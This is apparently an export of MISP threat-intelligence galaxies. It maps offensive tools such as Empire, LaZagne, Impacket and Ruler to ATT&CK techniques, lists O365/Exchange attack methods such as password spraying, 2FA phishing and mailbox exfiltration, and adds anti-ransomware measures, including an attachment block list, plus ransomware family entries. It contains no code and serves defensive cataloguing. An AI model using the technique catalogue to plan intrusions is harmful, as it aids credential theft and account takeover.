Empire - S0363 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Browser Bookmark Discovery - T1217" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Input Capture - T1056" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Credentials in Files - T1081" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Video Capture - T1125" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Scripting - T1064" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Process Injection - T1055" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Clipboard Data - T1115" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Pass the Ticket - T1097" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Private Keys - T1145" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Kerberoasting - T1208" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Network Sniffing - T1040" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="LLMNR/NBT-NS Poisoning and Relay - T1171" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Hooking - T1179" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1086" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Service Execution - T1035" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Trusted Developer Utilities - T1127" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Component Object Model and Distributed COM - T1175" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Exploitation of Remote Services - T1210" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Access Token Manipulation - T1134" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Pass the Hash - T1075" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote Services - T1021" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Accessibility Features - T1015" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Network Service Scanning - T1046" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="DLL Search Order Hijacking - T1038" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Path Interception - T1034" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Modify Existing Service - T1031" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Exploitation for Privilege Escalation - T1068" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Security Support Provider - T1101" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Bypass User Account Control - T1088" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="SID-History Injection - T1178" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Shortcut Modification - T1023" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Create Account - T1136" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data Compressed - T1002" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Email Collection - T1114" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Timestomp - T1099" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Account Discovery - T1087" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over Alternative Protocol - T1048" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over Command and Control Channel - T1041" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Network Share Discovery - T1135" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Network Connections Discovery - T1049" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1063" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Standard Cryptographic Protocol - T1032" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Execution through API - T1106" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Group Policy Modification - T1484" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Web Service - T1102" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Domain Trust Discovery - T1482" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Credentials from Web Browsers - T1503" with estimative-language:likelihood-probability="almost-certain"

Table 3468. Table References
Links
https://attack.mitre.org/software/S0363
https://s3.eu-west-1.amazonaws.com/ncsc-content/files/Joint%20report%20on%20publicly%20available%20hacking%20tools%20%28NCSC%29.pdf
https://github.com/PowerShellEmpire/Empire
https://github.com/dstepanic/attck_empire

RawDisk - S0364

[RawDisk](https://attack.mitre.org/software/S0364) is a legitimate commercial driver from the EldoS Corporation that is used for interacting with files, disks, and partitions. The driver allows for direct modification of data on a local computer’s hard drive. In some cases, the tool can enact these raw disk modifications from user-mode processes, circumventing Windows operating system security features.(Citation: EldoS RawDisk ITpro)(Citation: Novetta Blockbuster Destructive Malware)

The tag is: misp-galaxy:mitre-tool="RawDisk - S0364"

RawDisk - S0364 is also known as:

RawDisk

RawDisk - S0364 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Disk Structure Wipe - T1487" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data Destruction - T1485" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Disk Content Wipe - T1488" with estimative-language:likelihood-probability="almost-certain"

Table 3469. Table References
Links
https://attack.mitre.org/software/S0364
https://www.itprotoday.com/windows-78/eldos-provides-raw-disk-access-vista-and-xp
https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Destructive-Malware-Report.pdf

LaZagne - S0349

[LaZagne](https://attack.mitre.org/software/S0349) is a post-exploitation, open-source tool used to recover stored passwords on a system. It has modules for Windows, Linux, and OSX, but is mainly focused on Windows systems. [LaZagne](https://attack.mitre.org/software/S0349) is publicly available on GitHub.(Citation: GitHub LaZagne Dec 2018)

The tag is: misp-galaxy:mitre-tool="LaZagne - S0349"

LaZagne - S0349 is also known as:

LaZagne

LaZagne - S0349 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Credentials in Files - T1081" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Credentials from Web Browsers - T1503" with estimative-language:likelihood-probability="almost-certain"

Table 3470. Table References
Links
https://attack.mitre.org/software/S0349
https://github.com/AlessandroZ/LaZagne

Impacket - S0357

[Impacket](https://attack.mitre.org/software/S0357) is an open source collection of modules written in Python for programmatically constructing and manipulating network protocols. [Impacket](https://attack.mitre.org/software/S0357) contains several tools for remote service execution, Kerberos manipulation, Windows credential dumping, packet sniffing, and relay attacks.(Citation: Impacket Tools)

The tag is: misp-galaxy:mitre-tool="Impacket - S0357"

Impacket - S0357 is also known as:

Impacket

Impacket - S0357 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Network Sniffing - T1040" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Kerberoasting - T1208" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Service Execution - T1035" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="LLMNR/NBT-NS Poisoning and Relay - T1171" with estimative-language:likelihood-probability="almost-certain"

Table 3471. Table References
Links
https://attack.mitre.org/software/S0357
https://www.secureauth.com/labs/open-source-tools/impacket

Ruler - S0358

[Ruler](https://attack.mitre.org/software/S0358) is a tool to abuse Microsoft Exchange services. It is publicly available on GitHub and the tool is executed via the command line. The creators of [Ruler](https://attack.mitre.org/software/S0358) have also released a defensive tool, NotRuler, to detect its usage.(Citation: SensePost Ruler GitHub)(Citation: SensePost NotRuler)

The tag is: misp-galaxy:mitre-tool="Ruler - S0358"

Ruler - S0358 is also known as:

Ruler

Ruler - S0358 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Office Application Startup - T1137" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Email Collection - T1114" with estimative-language:likelihood-probability="almost-certain"

Table 3472. Table References
Links
https://attack.mitre.org/software/S0358
https://github.com/sensepost/ruler
https://github.com/sensepost/notruler

Nltest - S0359

[Nltest](https://attack.mitre.org/software/S0359) is a Windows command-line utility used to list domain controllers and enumerate domain trusts.(Citation: Nltest Manual)

The tag is: misp-galaxy:mitre-tool="Nltest - S0359"

Nltest - S0359 is also known as:

Nltest

Nltest - S0359 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Domain Trust Discovery - T1482" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote System Discovery - T1018" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"

Table 3473. Table References
Links
https://attack.mitre.org/software/S0359
https://ss64.com/nt/nltest.html

o365-exchange-techniques

o365-exchange-techniques - Office365/Exchange related techniques by @johnLaT.

o365-exchange-techniques is a cluster galaxy available in JSON format at this location The JSON format can be freely reused in your application or automatically enabled in MISP.

authors: John Lambert - Alexandre Dulaunoy

AAD - Dump users and groups with Azure AD

The tag is: misp-galaxy:cloud-security="AAD - Dump users and groups with Azure AD"

O365 - Get Global Address List: MailSniper

The tag is: misp-galaxy:cloud-security="O365 - Get Global Address List: MailSniper"

O365 - Find Open Mailboxes: MailSniper

The tag is: misp-galaxy:cloud-security="O365 - Find Open Mailboxes: MailSniper"

O365 - User account enumeration with ActiveSync

The tag is: misp-galaxy:cloud-security="O365 - User account enumeration with ActiveSync"

End Point - Search host for Azure Credentials: SharpCloud

The tag is: misp-galaxy:cloud-security="End Point - Search host for Azure Credentials: SharpCloud"

On-Prem Exchange - Portal Recon

The tag is: misp-galaxy:cloud-security="On-Prem Exchange - Portal Recon"

On-Prem Exchange - Enumerate domain accounts: using Skype4B

The tag is: misp-galaxy:cloud-security="On-Prem Exchange - Enumerate domain accounts: using Skype4B"

On-Prem Exchange - Enumerate domain accounts: OWA & Exchange

The tag is: misp-galaxy:cloud-security="On-Prem Exchange - Enumerate domain accounts: OWA & Exchange"

On-Prem Exchange - Enumerate domain accounts: FindPeople

The tag is: misp-galaxy:cloud-security="On-Prem Exchange - Enumerate domain accounts: FindPeople"

On-Prem Exchange - OWA version discovery

The tag is: misp-galaxy:cloud-security="On-Prem Exchange - OWA version discovery"

AAD - Password Spray: MailSniper

The tag is: misp-galaxy:cloud-security="AAD - Password Spray: MailSniper"

AAD - Password Spray: CredKing

The tag is: misp-galaxy:cloud-security="AAD - Password Spray: CredKing"

O365 - Bruteforce of Autodiscover: SensePost Ruler

The tag is: misp-galaxy:cloud-security="O365 - Bruteforce of Autodiscover: SensePost Ruler"

O365 - Phishing for credentials

The tag is: misp-galaxy:cloud-security="O365 - Phishing for credentials"

O365 - Phishing using OAuth app

The tag is: misp-galaxy:cloud-security="O365 - Phishing using OAuth app"

O365 - 2FA MITM Phishing: evilginx2

The tag is: misp-galaxy:cloud-security="O365 - 2FA MITM Phishing: evilginx2"

On-Prem Exchange - Password Spray using Invoke-PasswordSprayOWA, EWS

The tag is: misp-galaxy:cloud-security="On-Prem Exchange - Password Spray using Invoke-PasswordSprayOWA, EWS"

On-Prem Exchange - Bruteforce of Autodiscover: SensePost Ruler

The tag is: misp-galaxy:cloud-security="On-Prem Exchange - Bruteforce of Autodiscover: SensePost Ruler"

O365 - Add Mail forwarding rule

The tag is: misp-galaxy:cloud-security="O365 - Add Mail forwarding rule"

O365 - Add Global admin account

The tag is: misp-galaxy:cloud-security="O365 - Add Global admin account"

O365 - Delegate Tenant Admin

The tag is: misp-galaxy:cloud-security="O365 - Delegate Tenant Admin"

End Point - Persistence throught Outlook Home Page: SensePost Ruler

The tag is: misp-galaxy:cloud-security="End Point - Persistence throught Outlook Home Page: SensePost Ruler"

End Point - Persistence throught custom Outlook form

The tag is: misp-galaxy:cloud-security="End Point - Persistence throught custom Outlook form"

End Point - Create Hidden Mailbox Rule

The tag is: misp-galaxy:cloud-security="End Point - Create Hidden Mailbox Rule"

O365 - MailSniper: Search Mailbox for credentials

The tag is: misp-galaxy:cloud-security="O365 - MailSniper: Search Mailbox for credentials"

O365 - Search for Content with eDiscovery

The tag is: misp-galaxy:cloud-security="O365 - Search for Content with eDiscovery"

O365 - Account Takeover: Add-MailboxPermission

The tag is: misp-galaxy:cloud-security="O365 - Account Takeover: Add-MailboxPermission"

O365 - Pivot to On-Prem host: SensePost Ruler

The tag is: misp-galaxy:cloud-security="O365 - Pivot to On-Prem host: SensePost Ruler"

O365 - Exchange Tasks for C2: MWR

The tag is: misp-galaxy:cloud-security="O365 - Exchange Tasks for C2: MWR"

O365 - Send Internal Email

The tag is: misp-galaxy:cloud-security="O365 - Send Internal Email"

On-Prem Exchange - Search Mailboxes with eDiscovery searches (EXO, Teams, SPO, OD4B, Skype4B)

The tag is: misp-galaxy:cloud-security="On-Prem Exchange - Search Mailboxes with eDiscovery searches (EXO, Teams, SPO, OD4B, Skype4B)"

On-Prem Exchange - Delegation

The tag is: misp-galaxy:cloud-security="On-Prem Exchange - Delegation"

O365 - MailSniper: Search Mailbox for content

The tag is: misp-galaxy:cloud-security="O365 - MailSniper: Search Mailbox for content"

O365 - Exfiltration email using EWS APIs with PowerShell

The tag is: misp-galaxy:cloud-security="O365 - Exfiltration email using EWS APIs with PowerShell"

O365 - Download documents and email

The tag is: misp-galaxy:cloud-security="O365 - Download documents and email"

Preventive Measure

Preventive measures based on the ransomware document overview as published in https://docs.google.com/spreadsheets/d/1TWS238xacAto-fLKh1n5uTsdijWdCEsGIM0Y0Hvmc5g/pubhtml# . The preventive measures are quite generic and can fit any standard Windows infrastructure and their security measures..

Preventive Measure is a cluster galaxy available in JSON format at this location The JSON format can be freely reused in your application or automatically enabled in MISP.

authors: Various

Backup and Restore Process

Make sure to have adequate backup processes on place and frequently test a restore of these backups. (Schrödinger’s backup - it is both existent and non-existent until you’ve tried a restore

The tag is: misp-galaxy:preventive-measure="Backup and Restore Process"

Table 3474. Table References
Links
http://windows.microsoft.com/en-us/windows/back-up-restore-faq#1TC=windows-7.[http://windows.microsoft.com/en-us/windows/back-up-restore-faq#1TC=windows-7.]

Block Macros

Disable macros in Office files downloaded from the Internet. This can be configured to work in two different modes: A.) Open downloaded documents in 'Protected View' B.) Open downloaded documents and block all macros

The tag is: misp-galaxy:preventive-measure="Block Macros"

Table 3475. Table References
Links
https://support.office.com/en-us/article/Enable-or-disable-macros-in-Office-files-12b036fd-d140-4e74-b45e-16fed1a7e5c6?ui=en-US&rs=en-US&ad=US
https://www.404techsupport.com/2016/04/office2016-macro-group-policy/?utm_source=dlvr.it&utm_medium=twitter

Disable WSH

Disable Windows Script Host

The tag is: misp-galaxy:preventive-measure="Disable WSH"

Table 3476. Table References
Links
http://www.windowsnetworking.com/kbase/WindowsTips/WindowsXP/AdminTips/Customization/DisableWindowsScriptingHostWSH.html

Filter Attachments Level 1

Filter the following attachments on your mail gateway: .ade, .adp, .ani, .bas, .bat, .chm, .cmd, .com, .cpl, .crt, .exe, .hlp, .ht, .hta, .inf, .ins, .isp, .jar, .job, .js, .jse, .lnk, .mda, .mdb, .mde, .mdz, .msc, .msi, .msp, .mst, .ocx, .pcd, .ps1, .reg, .scr, .sct, .shs, .svg, .url, .vb, .vbe, .vbs, .wbk, .wsc, .ws, .wsf, .wsh, .exe, .pif, .pub

The tag is: misp-galaxy:preventive-measure="Filter Attachments Level 1"

Filter Attachments Level 2

Filter the following attachments on your mail gateway: (Filter expression of Level 1 plus) .doc, .xls, .rtf, .docm, .xlsm, .pptm

The tag is: misp-galaxy:preventive-measure="Filter Attachments Level 2"

Restrict program execution

Block all program executions from the %LocalAppData% and %AppData% folder

The tag is: misp-galaxy:preventive-measure="Restrict program execution"

Table 3477. Table References
Links
http://www.fatdex.net/php/2014/06/01/disable-exes-from-running-inside-any-user-appdata-directory-gpo/
http://www.thirdtier.net/ransomware-prevention-kit/

Show File Extensions

Set the registry key "HideFileExt" to 0 in order to show all file extensions, even of known file types. This helps avoiding cloaking tricks that use double extensions. (e.g. "not_a_virus.pdf.exe")

The tag is: misp-galaxy:preventive-measure="Show File Extensions"

Table 3478. Table References
Links
http://www.sevenforums.com/tutorials/10570-file-extensions-hide-show.htm

Enforce UAC Prompt

Enforce administrative users to confirm an action that requires elevated rights

The tag is: misp-galaxy:preventive-measure="Enforce UAC Prompt"

Table 3479. Table References
Links
https://technet.microsoft.com/en-us/library/dd835564(WS.10).aspx

Remove Admin Privileges

Remove and restrict administrative rights whenever possible. Malware can only modify files that users have write access to.

The tag is: misp-galaxy:preventive-measure="Remove Admin Privileges"

Restrict Workstation Communication

Activate the Windows Firewall to restrict workstation to workstation communication

The tag is: misp-galaxy:preventive-measure="Restrict Workstation Communication"

Sandboxing Email Input

Using sandbox that opens email attachments and removes attachments based on behavior analysis

The tag is: misp-galaxy:preventive-measure="Sandboxing Email Input"

Execution Prevention

Software that allows to control the execution of processes - sometimes integrated in Antivirus software Free: AntiHook, ProcessGuard, System Safety Monitor

The tag is: misp-galaxy:preventive-measure="Execution Prevention"

Change Default "Open With" to Notepad

Force extensions primarily used for infections to open up in Notepad rather than Windows Script Host or Internet Explorer

The tag is: misp-galaxy:preventive-measure="Change Default "Open With" to Notepad"

Table 3480. Table References
Links
https://bluesoul.me/2016/05/12/use-gpo-to-change-the-default-behavior-of-potentially-malicious-file-extensions/

File Screening

Server-side file screening with the help of File Server Resource Manager

The tag is: misp-galaxy:preventive-measure="File Screening"

Table 3481. Table References
Links
http://jpelectron.com/sample/Info%20and%20Documents/Stop%20crypto%20badware%20before%20it%20ruins%20your%20day/1-PreventCrypto-Readme.htm

Restrict program execution #2

Block program executions (AppLocker)

The tag is: misp-galaxy:preventive-measure="Restrict program execution #2"

Table 3482. Table References
Links
https://technet.microsoft.com/en-us/library/dd759117%28v=ws.11%29.aspx
http://social.technet.microsoft.com/wiki/contents/articles/5211.how-to-configure-applocker-group-policy-to-prevent-software-from-running.aspx

EMET

Detect and block exploitation techniques

The tag is: misp-galaxy:preventive-measure="EMET"

Table 3483. Table References
Links
www.microsoft.com/emet[www.microsoft.com/emet]
http://windowsitpro.com/security/control-emet-group-policy

Sysmon

Detect Ransomware in an early stage with new Sysmon 5 File/Registry monitoring

The tag is: misp-galaxy:preventive-measure="Sysmon"

Table 3484. Table References
Links
https://twitter.com/JohnLaTwC/status/799792296883388416

Blacklist-phone-numbers

Filter the numbers at phone routing level including PABX

The tag is: misp-galaxy:preventive-measure="Blacklist-phone-numbers"

Table 3485. Table References
Links
https://wiki.freepbx.org/display/FPG/Blacklist+Module+User+Guide#BlacklistModuleUserGuide-ImportingorExportingaBlacklistinCSVFileFormat

ACL

Restrict access to shares users should not be allowed to write to

The tag is: misp-galaxy:preventive-measure="ACL"

Table 3486. Table References
Links
https://docs.microsoft.com/en-us/windows/desktop/secauthz/access-control-lists

Packet filtering

Limit access to a service by network/packet filtering the access to

The tag is: misp-galaxy:preventive-measure="Packet filtering"

Table 3487. Table References
Links
https://en.wikipedia.org/wiki/Firewall_(computing)

Ransomware

Ransomware galaxy based on https://docs.google.com/spreadsheets/d/1TWS238xacAto-fLKh1n5uTsdijWdCEsGIM0Y0Hvmc5g/pubhtml and http://pastebin.com/raw/GHgpWjar.

Ransomware is a cluster galaxy available in JSON format at this location The JSON format can be freely reused in your application or automatically enabled in MISP.

authors: https://docs.google.com/spreadsheets/d/1TWS238xacAto-fLKh1n5uTsdijWdCEsGIM0Y0Hvmc5g/pubhtml - http://pastebin.com/raw/GHgpWjar - MISP Project

Nhtnwcuf Ransomware (Fake)

The tag is: misp-galaxy:ransomware="Nhtnwcuf Ransomware (Fake)"

Table 3488. Table References
Links
https://id-ransomware.blogspot.co.il/2017/03/nhtnwcuf-ransomware.html

CryptoJacky Ransomware

The tag is: misp-galaxy:ransomware="CryptoJacky Ransomware"

Table 3489. Table References
Links
https://id-ransomware.blogspot.co.il/2017/03/cryptojacky-ransomware.html
https://twitter.com/jiriatvirlab/status/838779371750031360

Kaenlupuf Ransomware

About: This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: misp-galaxy:ransomware="Kaenlupuf Ransomware"

Table 3490. Table References
Links
https://id-ransomware.blogspot.co.il/2017/03/kaenlupuf-ransomware.html

EnjeyCrypter Ransomware

The tag is: misp-galaxy:ransomware="EnjeyCrypter Ransomware"

Table 3491. Table References
Links
https://id-ransomware.blogspot.co.il/2017/03/enjey-crypter-ransomware.html
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-march-10th-2017-spora-cerber-and-technical-writeups/
https://www.bleepingcomputer.com/news/security/embittered-enjey-ransomware-developer-launches-ddos-attack-on-id-ransomware/

Dangerous Ransomware

The tag is: misp-galaxy:ransomware="Dangerous Ransomware"

Table 3492. Table References
Links
https://id-ransomware.blogspot.co.il/2017/03/dangerous-ransomware.html

Vortex Ransomware

The tag is: misp-galaxy:ransomware="Vortex Ransomware"

Vortex Ransomware is also known as:

Ŧl๏tєгค гคภร๏๓ฬคгє

Table 3493. Table References
Links
https://id-ransomware.blogspot.co.il/2017/03/vortex-ransomware.html
https://twitter.com/struppigel/status/839778905091424260

GC47 Ransomware

The tag is: misp-galaxy:ransomware="GC47 Ransomware"

Table 3494. Table References
Links
https://id-ransomware.blogspot.co.il/2017/03/gc47-ransomware.html

RozaLocker Ransomware

The tag is: misp-galaxy:ransomware="RozaLocker Ransomware"

Table 3495. Table References
Links
https://id-ransomware.blogspot.co.il/2017/03/rozalocker-ransomware.html
https://twitter.com/jiriatvirlab/status/840863070733885440

CryptoMeister Ransomware

The tag is: misp-galaxy:ransomware="CryptoMeister Ransomware"

Table 3496. Table References
Links
https://id-ransomware.blogspot.co.il/2017/03/cryptomeister-ransomware.html

GG Ransomware

The tag is: misp-galaxy:ransomware="GG Ransomware"

Table 3497. Table References
Links
https://id-ransomware.blogspot.co.il/2017/03/gg-ransomware.html

Project34 Ransomware

The tag is: misp-galaxy:ransomware="Project34 Ransomware"

Table 3498. Table References
Links
https://id-ransomware.blogspot.co.il/2017/03/project34-ransomware.html

PetrWrap Ransomware

The tag is: misp-galaxy:ransomware="PetrWrap Ransomware"

Table 3499. Table References
Links
https://id-ransomware.blogspot.co.il/2017/03/petrwrap-ransomware.html
https://www.bleepingcomputer.com/news/security/petrwrap-ransomware-is-a-petya-offspring-used-in-targeted-attacks/
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-march-17th-2017-revenge-petrwrap-and-captain-kirk/
https://securelist.com/blog/research/77762/petrwrap-the-new-petya-based-ransomware-used-in-targeted-attacks/

Karmen Ransomware

The tag is: misp-galaxy:ransomware="Karmen Ransomware"

Table 3500. Table References
Links
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-march-17th-2017-revenge-petrwrap-and-captain-kirk/
https://id-ransomware.blogspot.co.il/2017/03/karmen-ransomware.html
https://twitter.com/malwrhunterteam/status/841747002438361089

Revenge Ransomware

The tag is: misp-galaxy:ransomware="Revenge Ransomware"

Table 3501. Table References
Links
https://www.bleepingcomputer.com/news/security/revenge-ransomware-a-cryptomix-variant-being-distributed-by-rig-exploit-kit/
https://id-ransomware.blogspot.co.il/2017/03/revenge-ransomware.html

Turkish FileEncryptor Ransomware

his is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: misp-galaxy:ransomware="Turkish FileEncryptor Ransomware"

Turkish FileEncryptor Ransomware is also known as:

Fake CTB-Locker

Table 3502. Table References
Links
https://id-ransomware.blogspot.co.il/2017/03/turkish-fileencryptor.html
https://twitter.com/JakubKroustek/status/842034887397908480

Kirk Ransomware & Spock Decryptor

The tag is: misp-galaxy:ransomware="Kirk Ransomware & Spock Decryptor"

Table 3503. Table References
Links
https://id-ransomware.blogspot.co.il/2017/03/kirkspock-ransomware.html
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-march-17th-2017-revenge-petrwrap-and-captain-kirk/
https://www.bleepingcomputer.com/forums/t/642239/kirk-ransomware-help-support-topic-kirk-extension-ransom-notetxt/
http://www.networkworld.com/article/3182415/security/star-trek-themed-kirk-ransomware-has-spock-decryptor-demands-ransom-be-paid-in-monero.html
http://www.securityweek.com/star-trek-themed-kirk-ransomware-emerges
https://www.grahamcluley.com/kirk-ransomware-sports-star-trek-themed-decryptor-little-known-crypto-currency/
https://www.virustotal.com/en/file/39a2201a88f10d81b220c973737f0becedab2e73426ab9923880fb0fb990c5cc/analysis/

ZinoCrypt Ransomware

The tag is: misp-galaxy:ransomware="ZinoCrypt Ransomware"

Table 3504. Table References
Links
https://id-ransomware.blogspot.co.il/2017/03/zinocrypt-ransomware.html
https://twitter.com/demonslay335?lang=en
https://twitter.com/malwrhunterteam/status/842781575410597894

Crptxxx Ransomware

The tag is: misp-galaxy:ransomware="Crptxxx Ransomware"

Table 3505. Table References
Links
https://id-ransomware.blogspot.co.il/2017/03/crptxxx-ransomware.html
https://www.bleepingcomputer.com/forums/t/609690/ultracrypter-cryptxxx-ultradecrypter-ransomware-help-topic-crypt-cryp1/page-84
http://www.fixinfectedpc.com/uninstall-crptxxx-ransomware-from-pc
https://twitter.com/malwrhunterteam/status/839467168760725508

MOTD Ransomware

The tag is: misp-galaxy:ransomware="MOTD Ransomware"

Table 3506. Table References
Links
https://id-ransomware.blogspot.co.il/2017/03/motd-ransomware.html
https://www.bleepingcomputer.com/forums/t/642409/motd-of-ransome-hostage/
https://www.bleepingcomputer.com/forums/t/642409/motd-ransomware-help-support-topics-motdtxt-and-enc-extension/

CryptoDevil Ransomware

The tag is: misp-galaxy:ransomware="CryptoDevil Ransomware"

Table 3507. Table References
Links
https://id-ransomware.blogspot.co.il/2017/03/cryptodevil-ransomware.html
https://twitter.com/PolarToffee/status/843527738774507522

FabSysCrypto Ransomware

The tag is: misp-galaxy:ransomware="FabSysCrypto Ransomware"

Table 3508. Table References
Links
https://id-ransomware.blogspot.co.il/2017/03/fabsyscrypto-ransomware.html
https://twitter.com/struppigel/status/837565766073475072

Lock2017 Ransomware

The tag is: misp-galaxy:ransomware="Lock2017 Ransomware"

Table 3509. Table References
Links
https://id-ransomware.blogspot.co.il/2017/03/lock2017-ransomware.html

RedAnts Ransomware

The tag is: misp-galaxy:ransomware="RedAnts Ransomware"

Table 3510. Table References
Links
https://id-ransomware.blogspot.co.il/2017/03/redants-ransomware.html

